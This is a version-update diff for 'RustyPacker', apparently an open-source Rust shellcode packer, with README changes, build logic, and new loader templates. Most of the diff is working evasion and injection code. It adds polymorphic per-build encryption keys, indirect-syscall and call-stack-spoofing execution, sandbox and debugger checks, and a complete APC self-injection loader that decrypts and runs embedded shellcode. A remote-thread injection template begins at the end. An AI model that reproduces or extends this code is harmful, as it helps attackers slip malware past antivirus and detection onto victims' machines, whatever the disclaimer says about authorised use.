v0.1.2
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "RustPacker"
|
||||
version = "0.1.1"
|
||||
version = "0.1.2"
|
||||
edition = "2021"
|
||||
authors = ["smukx <staffs@5mukx.site>"]
|
||||
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
<div align="center">
|
||||
<br>
|
||||
<img width="520px" src="./assets/logos/logo.jpg" alt="RustyPacker Logo" />
|
||||
<img width="520px" src="assets/logo/logo.jpg" alt="RustyPacker Logo" />
|
||||
<h1>RustyPacker</h1>
|
||||
<p><b>A native Rust shellcode packer with a GUI. RustyPacker assembles a Rust project from templates, compiles it in an format of EXE or Proxy & sideloadable DLLs.</b></p>
|
||||
<p><b>A native Rust shellcode packer with a GUI.</b></p>
|
||||
<img src="https://img.shields.io/badge/Language-Rust-orange" alt="Language: Rust" />
|
||||
<img src="https://img.shields.io/badge/OS-Windows-blue" alt="OS: Windows" />
|
||||
<img src="https://img.shields.io/badge/Maintained-Yes-green" alt="Maintained: Yes" />
|
||||
<img src="https://img.shields.io/badge/Version-v0.1.1-purple" alt="Version: v0.1.1" />
|
||||
<img src="https://img.shields.io/badge/Version-v0.1.2-purple" alt="Version: v0.1.2" />
|
||||
</div>
|
||||
|
||||
<br>
|
||||
@@ -15,13 +15,13 @@ RustyPacker comes in two themes:
|
||||
|
||||
|
||||
<div align="center">
|
||||
<img src="./assets/imgs/main-1.png" width="49%" alt="RustyPacker main view" />
|
||||
<img src="./assets/imgs/main-2.png" width="49%" alt="RustyPacker secondary view" />
|
||||
<img src="assets/img/main-1.png" width="49%" alt="RustyPacker main view" />
|
||||
<img src="assets/img/main-2.png" width="49%" alt="RustyPacker secondary view" />
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
> Note: Rustypacker is in early stage of development. If you are facing bugs, please create an issue, Rustypacker grows along with the community. If you want to help by adding your own techniques or to fix a bug, please refer [Contribution](#contribution) section.
|
||||
> Note: Rustypacker comes in beta version. If you want to help fixing bugs or to add your own technique, please refer [Contribution](#contribution) section.
|
||||
|
||||
## What it does
|
||||
|
||||
@@ -65,7 +65,6 @@ What varies each build:
|
||||
- Anti debug API calls resolve at runtime via `GetModuleHandleA` and `GetProcAddress` with XOR'd name strings. `CheckRemoteDebuggerPresent`, `NtQueryInformationProcess`, `GetComputerNameExW`, `AddVectoredExceptionHandler`, and `RemoveVectoredExceptionHandler` do not appear in the payload IAT or `.rdata`.
|
||||
- The EarlyCascade stub is encrypted with XOR at packer time and decoded at runtime. The plaintext Outflank bytes (`55 56 57 65 48 8B 14 25 60 00 00 00 ...`) do not appear in the payload binary. The placeholder slot is filled with random bytes before encryption so the ciphertext carries no signature at a fixed offset either.
|
||||
- Function names like `boxboxbox`, `enhance`, `pause`, and every `evasion_anti_debug_*` are renamed each build. The pause cadence between injection steps is jittered around the base values. The shellcode XOR key and the obfuscated API name keys are random per build.
|
||||
|
||||
---
|
||||
|
||||
## Build and Run
|
||||
@@ -78,9 +77,11 @@ Prerequisites:
|
||||
```pwsh
|
||||
git clone https://github.com/Whitecat18/RustyPacker.git
|
||||
cd RustPacker
|
||||
cargo r -r
|
||||
cargo run --release
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Using the GUI
|
||||
|
||||
The window has three tabs.
|
||||
@@ -99,7 +100,7 @@ Validation errors (missing shellcode, missing sideload target, etc.) appear as a
|
||||
|
||||
### FlowCase
|
||||
|
||||
A live, ordered preview of what the generated payload does. Steps run from `Loader starts` through anti-debug, sleep evasion, decryption, allocation, injection, and `Shellcode runs · C2 callback`. Updates as you change Configure. No prose, only the ordered steps and an accent pill per step.
|
||||
A live, ordered preview of what the generated payload does.
|
||||
|
||||
### Console
|
||||
|
||||
@@ -213,17 +214,12 @@ Recognition:
|
||||
|
||||
Every accepted contribution puts your handle in the Credits section and the release notes. Your name stays in the contributor list.
|
||||
|
||||
> Motivation: Bring your shellcode, your ideas for evading systems, and your patches.
|
||||
|
||||
## Credits
|
||||
|
||||
- [Dyncvoke](https://github.com/Whitecat18/Dyncvoke)
|
||||
- [Dyncvoke](https://codeberg.org/smukx/Dyncvoke.git)
|
||||
- [Rust-for-Malware-Development](https://codeberg.org/smukx/Rust-for-Malware-Development.git)
|
||||
- [LazyDLLSideload](https://github.com/Whitecat18/LazyDLLSideload)
|
||||
- [EarlyCascade](https://github.com/Whitecat18/earlycascade-injection.git)
|
||||
|
||||
> Note: Original credits have been mentioned in the main repository. I respect each and every one's hard work and their will to help the community.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This tool is for authorised offensive security work, CTFs, malware research, and detection engineering only.
|
||||
For authorised offensive security work, CTFs, malware research, and detection engineering only.
|
||||
|
||||
|
Before Width: | Height: | Size: 46 KiB After Width: | Height: | Size: 46 KiB |
|
Before Width: | Height: | Size: 81 KiB After Width: | Height: | Size: 81 KiB |
|
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 94 KiB |
|
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 215 KiB After Width: | Height: | Size: 215 KiB |
@@ -257,9 +257,8 @@ pub fn assemble(order: Order) -> PathBuf {
|
||||
copy_template(&template_path, &folder).expect("Failed to copy template");
|
||||
|
||||
if template_name == "ntEarlyCascade" {
|
||||
if let Err(e) = crate::earlycascade_emit::rewrite_stubs(&folder, &mut ctx.polymorph) {
|
||||
crate::blog!("[!] EarlyCascade stub rewrite failed: {e}");
|
||||
}
|
||||
crate::earlycascade_emit::rewrite_stubs(&folder, &mut ctx.polymorph)
|
||||
.expect("EarlyCascade stub rewrite failed (encrypted stub is required at runtime)");
|
||||
}
|
||||
|
||||
// 2. Encryption technique writes the encrypted file + decryption replacements.
|
||||
|
||||
@@ -49,4 +49,35 @@ impl<'a> BuildContext<'a> {
|
||||
let key = format!("{}.{}", technique_id, param_name);
|
||||
self.params.get(&key).map(String::as_str)
|
||||
}
|
||||
|
||||
pub fn apply_exec_mode(&mut self, technique_id: &str) {
|
||||
let mode = self.param(technique_id, "exec_mode").unwrap_or("syscall");
|
||||
let (features, macro_body, extra_deps) = match mode {
|
||||
"callstack" => (
|
||||
"\"syscall\", \"spoof\", \"spoof-desync\"",
|
||||
CALLSTACK_NT_CALL_MACRO,
|
||||
CALLSTACK_EXTRA_DEPS,
|
||||
),
|
||||
_ => ("\"syscall\"", SYSCALL_NT_CALL_MACRO, ""),
|
||||
};
|
||||
self.set_replacement("{{DYNCVOKE_FEATURES}}", features.to_string());
|
||||
self.set_replacement("{{NT_CALL_MACRO}}", macro_body.to_string());
|
||||
self.set_replacement("{{DYNCVOKE_EXTRA_DEPS}}", extra_deps.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
const SYSCALL_NT_CALL_MACRO: &str = r#"macro_rules! ntcall {
|
||||
($name:expr $(, $arg:expr)* $(,)?) => {{
|
||||
let _n = data::lc!($name);
|
||||
dyncvoke_core::syscall!(_n.as_str() $(, $arg)*).unwrap_or(-1)
|
||||
}};
|
||||
}"#;
|
||||
|
||||
const CALLSTACK_NT_CALL_MACRO: &str = r#"macro_rules! ntcall {
|
||||
($name:expr $(, $arg:expr)* $(,)?) => {{
|
||||
let _n = data::lc!($name);
|
||||
spoof::spoof_syscall!(_n.as_str(), $($arg),*).map(|p| p as i32).unwrap_or(-1)
|
||||
}};
|
||||
}"#;
|
||||
|
||||
const CALLSTACK_EXTRA_DEPS: &str = r#"spoof = { git = "https://codeberg.org/smukx/Dyncvoke.git", features = ["desync"] }"#;
|
||||
|
||||
@@ -1,16 +1,27 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
use crate::tools::{random_aes_iv, random_aes_key};
|
||||
use libaes::Cipher;
|
||||
use std::fs;
|
||||
|
||||
fn polymorph_bytes<const N: usize>(ctx: &mut BuildContext) -> [u8; N] {
|
||||
let mut out = [0u8; N];
|
||||
let mut i = 0;
|
||||
while i < N {
|
||||
let chunk = ctx.polymorph.random_u64().to_le_bytes();
|
||||
let take = core::cmp::min(8, N - i);
|
||||
out[i..i + take].copy_from_slice(&chunk[..take]);
|
||||
i += take;
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
pub struct Aes;
|
||||
|
||||
impl Technique for Aes {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &AES_META }
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let key = random_aes_key();
|
||||
let iv = random_aes_iv();
|
||||
let key: [u8; 32] = polymorph_bytes::<32>(ctx);
|
||||
let iv: [u8; 16] = polymorph_bytes::<16>(ctx);
|
||||
let shellcode = fs::read(ctx.shellcode_path)
|
||||
.map_err(|e| anyhow::anyhow!("read shellcode: {e}"))?;
|
||||
let cipher = Cipher::new_256(&key);
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
use crate::tools::random_u8;
|
||||
use std::fs;
|
||||
|
||||
pub struct Uuid;
|
||||
@@ -13,7 +12,10 @@ impl Technique for Uuid {
|
||||
let original_len = shellcode.len();
|
||||
let encoded = uuid_encode(&shellcode);
|
||||
|
||||
let xor_key = non_zero_random_key();
|
||||
let xor_key: u8 = loop {
|
||||
let k = (ctx.polymorph.random_u64() & 0xFF) as u8;
|
||||
if k != 0 { break k; }
|
||||
};
|
||||
let masked: Vec<u8> = encoded.bytes().map(|b| b ^ xor_key).collect();
|
||||
|
||||
let out_path = ctx.src_dir.join("input.uuid");
|
||||
@@ -47,10 +49,6 @@ fn uuid_decode(buf: &[u8]) -> Vec<u8> {
|
||||
}
|
||||
}
|
||||
|
||||
fn non_zero_random_key() -> u8 {
|
||||
loop { let k = random_u8(); if k != 0 { return k; } }
|
||||
}
|
||||
|
||||
fn bytes_to_uuid(chunk: &[u8; 16]) -> String {
|
||||
format!(
|
||||
"{:02x}{:02x}{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}-{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}",
|
||||
|
||||
@@ -10,10 +10,8 @@ impl Technique for DomainPin {
|
||||
if expected.is_empty() {
|
||||
return Ok(());
|
||||
}
|
||||
let expected_escaped = expected.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
|
||||
// The expected domain still ends up as a plaintext string literal in
|
||||
// the payload; that is a build-time user input, not a fingerprintable
|
||||
// constant, so leave it as is.
|
||||
let snippet = format!(
|
||||
r#"fn {{{{FN_EVASION_DOMAIN}}}}_get_name() -> Option<String> {{
|
||||
static OBF_MOD: &[u8] = &{{{{STR_KERNEL32}}}};
|
||||
@@ -42,7 +40,7 @@ fn {{{{FN_EVASION_DOMAIN}}}}() {{
|
||||
None => {{ std::process::exit(0); }}
|
||||
}}
|
||||
}}
|
||||
{{{{FN_EVASION_DOMAIN}}}}();"#, expected);
|
||||
{{{{FN_EVASION_DOMAIN}}}}();"#, expected_escaped);
|
||||
|
||||
ctx.append_replacement("{{SANDBOX}}", snippet);
|
||||
Ok(())
|
||||
|
||||
@@ -14,9 +14,12 @@ impl Technique for NtDelay {
|
||||
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
let raw_ms = ctx.param("nt_delay", "delay_ms").unwrap_or("3000");
|
||||
let ms: u64 = raw_ms.trim().parse().unwrap_or(3000);
|
||||
let trimmed = raw_ms.trim();
|
||||
let ms: u64 = trimmed.parse().map_err(|e| {
|
||||
anyhow::anyhow!("nt_delay.delay_ms: expected integer milliseconds, got {trimmed:?} ({e})")
|
||||
})?;
|
||||
if ms == 0 {
|
||||
return Ok(()); // no-op when user clears the field
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let placement = ctx
|
||||
|
||||
@@ -64,6 +64,7 @@ unsafe extern "system" fn cdef_invoke(param: *mut winapi::ctypes::c_void) -> u32
|
||||
);
|
||||
if !thread.is_null() {
|
||||
winapi::um::synchapi::WaitForSingleObject(thread, 0xFFFFFFFF);
|
||||
winapi::um::handleapi::CloseHandle(thread);
|
||||
}
|
||||
"#;
|
||||
ctx.set_replacement("{{CALLBACK_INVOKE}}", body.to_string());
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct Earlycascade;
|
||||
|
||||
impl Technique for Earlycascade {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &EARLYCASCADE_META }
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("ntEarlyCascade");
|
||||
let tgt = ctx.param("earlycascade", "target_process").unwrap_or("dllhost.exe");
|
||||
ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string());
|
||||
ctx.apply_exec_mode("earlycascade");
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::EARLYCASCADE_META;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
id = "earlycascade"
|
||||
display_name = "EarlyCascade"
|
||||
description = "EarlyCascade injection via shim engine callbacks."
|
||||
description = "EarlyCascade injection via shim engine callbacks. NT memory ops issued through dyncvoke (indirect syscall or call-stack spoofing)."
|
||||
category = "injection"
|
||||
tags = ["remote_injection"]
|
||||
requires = ["target_process"]
|
||||
@@ -12,3 +12,10 @@ name = "target_process"
|
||||
kind = "text"
|
||||
label = "Target process"
|
||||
default = "dllhost.exe"
|
||||
|
||||
[[params]]
|
||||
name = "exec_mode"
|
||||
kind = "choice"
|
||||
label = "Execution mode"
|
||||
options = ["syscall", "callstack"]
|
||||
default = "syscall"
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct Ntapc;
|
||||
|
||||
impl Technique for Ntapc {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &NTAPC_META }
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("ntAPC");
|
||||
ctx.apply_exec_mode("ntapc");
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::NTAPC_META;
|
||||
@@ -0,0 +1,15 @@
|
||||
id = "ntapc"
|
||||
display_name = "ntAPC — Queue APC to current thread (indirect syscall)"
|
||||
description = "Self-inject by queueing an APC to the current thread. Triggered with NtTestAlert. Issued through dyncvoke (indirect syscall or call-stack spoofing)."
|
||||
category = "injection"
|
||||
tags = ["self_injection"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "ntAPC"
|
||||
|
||||
[[params]]
|
||||
name = "exec_mode"
|
||||
kind = "choice"
|
||||
label = "Execution mode"
|
||||
options = ["syscall", "callstack"]
|
||||
default = "syscall"
|
||||
@@ -0,0 +1,16 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct Ntcrt;
|
||||
|
||||
impl Technique for Ntcrt {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &NTCRT_META }
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("ntCRT");
|
||||
let tgt = ctx.param("ntcrt", "target_process").unwrap_or("dllhost.exe");
|
||||
ctx.set_replacement("{{TARGET_PROCESS}}", tgt.to_string());
|
||||
ctx.apply_exec_mode("ntcrt");
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::NTCRT_META;
|
||||
@@ -0,0 +1,21 @@
|
||||
id = "ntcrt"
|
||||
display_name = "ntCRT — NtCreateThreadEx (indirect syscall)"
|
||||
description = "Create a remote thread via NtCreateThreadEx. Issued through dyncvoke (indirect syscall or call-stack spoofing)."
|
||||
category = "injection"
|
||||
tags = ["remote_injection"]
|
||||
requires = ["target_process"]
|
||||
incompatible_with = []
|
||||
template_dir = "ntCRT"
|
||||
|
||||
[[params]]
|
||||
name = "target_process"
|
||||
kind = "text"
|
||||
label = "Target process"
|
||||
default = "dllhost.exe"
|
||||
|
||||
[[params]]
|
||||
name = "exec_mode"
|
||||
kind = "choice"
|
||||
label = "Execution mode"
|
||||
options = ["syscall", "callstack"]
|
||||
default = "syscall"
|
||||
@@ -0,0 +1,14 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
|
||||
pub struct Ntfiber;
|
||||
|
||||
impl Technique for Ntfiber {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &NTFIBER_META }
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("ntFIBER");
|
||||
ctx.apply_exec_mode("ntfiber");
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub use super::super::NTFIBER_META;
|
||||
@@ -0,0 +1,15 @@
|
||||
id = "ntfiber"
|
||||
display_name = "ntFIBER — Fibers via indirect syscall"
|
||||
description = "Self-execute via fibers. NT memory ops issued through dyncvoke (indirect syscall or call-stack spoofing); the fiber primitives stay on windows-sys."
|
||||
category = "injection"
|
||||
tags = ["self_injection"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "ntFIBER"
|
||||
|
||||
[[params]]
|
||||
name = "exec_mode"
|
||||
kind = "choice"
|
||||
label = "Execution mode"
|
||||
options = ["syscall", "callstack"]
|
||||
default = "syscall"
|
||||
@@ -9,44 +9,33 @@ impl Technique for RtlUserFiberStart {
|
||||
ctx.set_template("callbackExec");
|
||||
|
||||
let helpers = r#"
|
||||
type RtlUserFiberStartFn = unsafe extern "system" fn() -> i32;
|
||||
|
||||
#[inline]
|
||||
unsafe fn rtl_get_teb() -> *mut u8 {
|
||||
let teb: *mut u8;
|
||||
std::arch::asm!("mov {}, gs:[0x30]", out(reg) teb, options(nostack, preserves_flags));
|
||||
teb
|
||||
}
|
||||
type RtlUserFiberStartFn = unsafe extern "system" fn(*mut std::ffi::c_void) -> i32;
|
||||
"#;
|
||||
ctx.set_replacement("{{INJECTION_HELPERS}}", helpers.to_string());
|
||||
|
||||
let body = r#"
|
||||
const TEB_FLAGS_OFFSET: usize = 0x20;
|
||||
const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0A8;
|
||||
const HAS_FIBER_DATA_BIT: u8 = 0b100;
|
||||
const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0F8;
|
||||
|
||||
let ntdll = GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8);
|
||||
let ntdll = winapi::um::libloaderapi::GetModuleHandleA(b"ntdll\0".as_ptr() as *const i8);
|
||||
if ntdll.is_null() { return; }
|
||||
let rtl_ptr = GetProcAddress(ntdll, b"RtlUserFiberStart\0".as_ptr() as *const i8);
|
||||
let rtl_ptr = winapi::um::libloaderapi::GetProcAddress(ntdll, b"RtlUserFiberStart\0".as_ptr() as *const i8);
|
||||
if rtl_ptr.is_null() { return; }
|
||||
|
||||
let teb = rtl_get_teb();
|
||||
*teb.add(TEB_FLAGS_OFFSET) |= HAS_FIBER_DATA_BIT;
|
||||
|
||||
let addr = syscall_alloc_exec(&vec);
|
||||
if addr.is_null() { return; }
|
||||
|
||||
let heap = windows_sys::Win32::System::Memory::GetProcessHeap();
|
||||
if heap.is_null() { return; }
|
||||
let fiber_data = windows_sys::Win32::System::Memory::HeapAlloc(heap, 0, 0x100);
|
||||
let fiber_data = windows_sys::Win32::System::Memory::HeapAlloc(heap, 0, 0x300);
|
||||
if fiber_data.is_null() { return; }
|
||||
std::ptr::write_bytes(fiber_data as *mut u8, 0, 0x300);
|
||||
|
||||
*(fiber_data as *mut *mut std::ffi::c_void).add(FIBER_CONTEXT_RIP_OFFSET / 8) = addr as *mut std::ffi::c_void;
|
||||
*((fiber_data as *mut u8).add(FIBER_CONTEXT_RIP_OFFSET) as *mut usize) = addr as usize;
|
||||
|
||||
std::arch::asm!("mov gs:[0x20], {}", in(reg) fiber_data, options(nostack));
|
||||
|
||||
let rtl_fn: RtlUserFiberStartFn = std::mem::transmute(rtl_ptr);
|
||||
let _ = rtl_fn();
|
||||
let _ = rtl_fn(fiber_data);
|
||||
|
||||
windows_sys::Win32::System::Memory::HeapFree(heap, 0, fiber_data);
|
||||
"#;
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
use crate::techniques::{BuildContext, Technique, TechniqueMeta};
|
||||
pub struct Sysfiber;
|
||||
impl Technique for Sysfiber {
|
||||
fn meta(&self) -> &'static TechniqueMeta { &SYSFIBER_META }
|
||||
fn apply(&self, ctx: &mut BuildContext) -> anyhow::Result<()> {
|
||||
ctx.set_template("sysFIBER");
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
pub use super::super::SYSFIBER_META;
|
||||
@@ -1,8 +0,0 @@
|
||||
id = "sysfiber"
|
||||
display_name = "Fibers via indirect syscalls"
|
||||
description = "Self-execute via fibers using indirect syscalls. Maximum evasion for self-injection."
|
||||
category = "injection"
|
||||
tags = ["self_injection", "syscall"]
|
||||
requires = ["self_injection"]
|
||||
incompatible_with = []
|
||||
template_dir = "sysFIBER"
|
||||
@@ -33,7 +33,7 @@ mod tests {
|
||||
|
||||
#[test]
|
||||
fn all_eight_injections_register() {
|
||||
let ids = ["syscrt", "wincrt", "earlycascade", "sysfiber"];
|
||||
let ids = ["syscrt", "wincrt", "earlycascade"];
|
||||
for id in ids {
|
||||
assert!(crate::techniques::find(id).is_some(), "missing injection: {id}");
|
||||
}
|
||||
|
||||
@@ -63,7 +63,6 @@ fn template_name_for_injection(injection_id: &str) -> &'static str {
|
||||
match injection_id {
|
||||
"syscrt" => "sysCRT",
|
||||
"wincrt" => "winCRT",
|
||||
"sysfiber" => "sysFIBER",
|
||||
"earlycascade" => "ntEarlyCascade",
|
||||
"enum_calendar_info" => "callbackExec",
|
||||
"enum_desktops" => "callbackExec",
|
||||
|
||||
@@ -13,7 +13,7 @@ winapi = { version = "0.3", features = [
|
||||
"debugapi", "errhandlingapi", "sysinfoapi",
|
||||
"minwindef", "handleapi",
|
||||
] }
|
||||
dyncvoke = { git = "https://github.com/Whitecat18/Dyncvoke" }
|
||||
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
[dependencies.windows-sys]
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
[package]
|
||||
name = "ntAPC"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
|
||||
dyncvoke_core = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
data = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
{{DYNCVOKE_EXTRA_DEPS}}
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.61"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Threading",
|
||||
]
|
||||
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
opt-level = "z"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
@@ -0,0 +1,115 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case, non_camel_case_types)]
|
||||
|
||||
use std::include_bytes;
|
||||
use std::ptr::null_mut;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use windows_sys::Win32::System::Memory::{
|
||||
MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ,
|
||||
};
|
||||
|
||||
use std::time::Instant;
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
{{SANDBOX_IMPORTS}}
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
type HANDLE = *mut c_void;
|
||||
|
||||
#[inline]
|
||||
fn nt_success(s: i32) -> bool { s >= 0 }
|
||||
|
||||
{{NT_CALL_MACRO}}
|
||||
|
||||
fn pause(ms: i64) {
|
||||
let interval: i64 = -(ms * 10_000);
|
||||
let _ = ntcall!("NtDelayExecution", 0u32, &interval as *const i64);
|
||||
}
|
||||
|
||||
fn check_environment() -> bool {
|
||||
let start = Instant::now();
|
||||
pause(3000);
|
||||
start.elapsed().as_millis() >= 2500
|
||||
}
|
||||
|
||||
fn wipe(buf: &mut Vec<u8>) {
|
||||
for b in buf.iter_mut() {
|
||||
unsafe { std::ptr::write_volatile(b as *mut u8, 0); }
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
fn enhance(mut buf: Vec<u8>) {
|
||||
let current_process: HANDLE = -1isize as HANDLE;
|
||||
let current_thread: HANDLE = -2isize as HANDLE;
|
||||
|
||||
let mut base: *mut c_void = null_mut();
|
||||
let mut size: usize = buf.len();
|
||||
let s = ntcall!("NtAllocateVirtualMemory",
|
||||
current_process,
|
||||
&mut base as *mut *mut c_void,
|
||||
0usize,
|
||||
&mut size as *mut usize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
pause(150);
|
||||
|
||||
let buf_len = buf.len();
|
||||
let mut written: usize = 0;
|
||||
let s = ntcall!("NtWriteVirtualMemory",
|
||||
current_process,
|
||||
base,
|
||||
buf.as_mut_ptr() as *mut c_void,
|
||||
buf_len,
|
||||
&mut written as *mut usize,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
wipe(&mut buf);
|
||||
pause(200);
|
||||
|
||||
let mut old_protect: u32 = 0;
|
||||
let mut region_size = buf_len;
|
||||
let s = ntcall!("NtProtectVirtualMemory",
|
||||
current_process,
|
||||
&mut base as *mut *mut c_void,
|
||||
&mut region_size as *mut usize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&mut old_protect as *mut u32,
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
pause(100);
|
||||
|
||||
let s = ntcall!("NtQueueApcThread",
|
||||
current_thread,
|
||||
base,
|
||||
base,
|
||||
null_mut::<c_void>(),
|
||||
null_mut::<c_void>(),
|
||||
);
|
||||
if !nt_success(s) { return; }
|
||||
|
||||
let _ = ntcall!("NtTestAlert",);
|
||||
}
|
||||
|
||||
fn main() {
|
||||
{{SANDBOX}}
|
||||
|
||||
if !check_environment() { return; }
|
||||
|
||||
let buf = include_bytes!({{PATH_TO_SHELLCODE}});
|
||||
let mut vec: Vec<u8> = buf.to_vec();
|
||||
|
||||
{{MAIN}}
|
||||
|
||||
enhance(vec);
|
||||
}
|
||||
|
||||
{{DLL_MAIN}}
|
||||
@@ -0,0 +1,13 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
||||
Cargo.lock
|
||||
|
||||
# These are backup files generated by rustfmt
|
||||
**/*.rs.bk
|
||||
|
||||
# Local shellcodes used for tests
|
||||
*.bin
|
||||
@@ -0,0 +1,30 @@
|
||||
[package]
|
||||
name = "ntCRT"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
{{DLL_FORMAT}}
|
||||
|
||||
[dependencies]
|
||||
sysinfo = "0.38"
|
||||
dyncvoke = { git = "https://codeberg.org/smukx/Dyncvoke.git", default-features = false, features = [{{DYNCVOKE_FEATURES}}] }
|
||||
dyncvoke_core = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
data = { git = "https://codeberg.org/smukx/Dyncvoke.git" }
|
||||
{{DYNCVOKE_EXTRA_DEPS}}
|
||||
|
||||
[dependencies.windows-sys]
|
||||
version = "0.61"
|
||||
features = [
|
||||
"Win32_Foundation",
|
||||
"Win32_System_Memory",
|
||||
"Win32_System_Threading",
|
||||
]
|
||||
|
||||
{{DEPENDENCIES}}
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
opt-level = "z"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
lto = true
|
||||
@@ -0,0 +1,175 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
#![allow(non_snake_case, non_camel_case_types)]
|
||||
|
||||
use sysinfo::System;
|
||||
use std::include_bytes;
|
||||
use std::ptr::null_mut;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use windows_sys::Win32::System::Memory::{
|
||||
MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ,
|
||||
};
|
||||
|
||||
use std::time::Instant;
|
||||
|
||||
{{IMPORTS}}
|
||||
|
||||
{{SANDBOX_IMPORTS}}
|
||||
|
||||
{{DECRYPTION_FUNCTION}}
|
||||
|
||||
type HANDLE = *mut c_void;
|
||||
|
||||
const PROCESS_ALL_ACCESS: u32 = 0x1FFFFF;
|
||||
const THREAD_ALL_ACCESS: u32 = 0x1FFFFF;
|
||||
const HIDE_FROM_DEBUGGER: u32 = 0x4;
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Default)]
|
||||
struct OBJECT_ATTRIBUTES {
|
||||
Length: u32,
|
||||
RootDirectory: HANDLE,
|
||||
ObjectName: *mut c_void,
|
||||
Attributes: u32,
|
||||
SecurityDescriptor: *mut c_void,
|
||||
SecurityQualityOfService: *mut c_void,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
struct CID {
|
||||
proc_id: HANDLE,
|
||||
thread_id: HANDLE,
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn nt_success(s: i32) -> bool { s >= 0 }
|
||||
|
||||
{{NT_CALL_MACRO}}
|
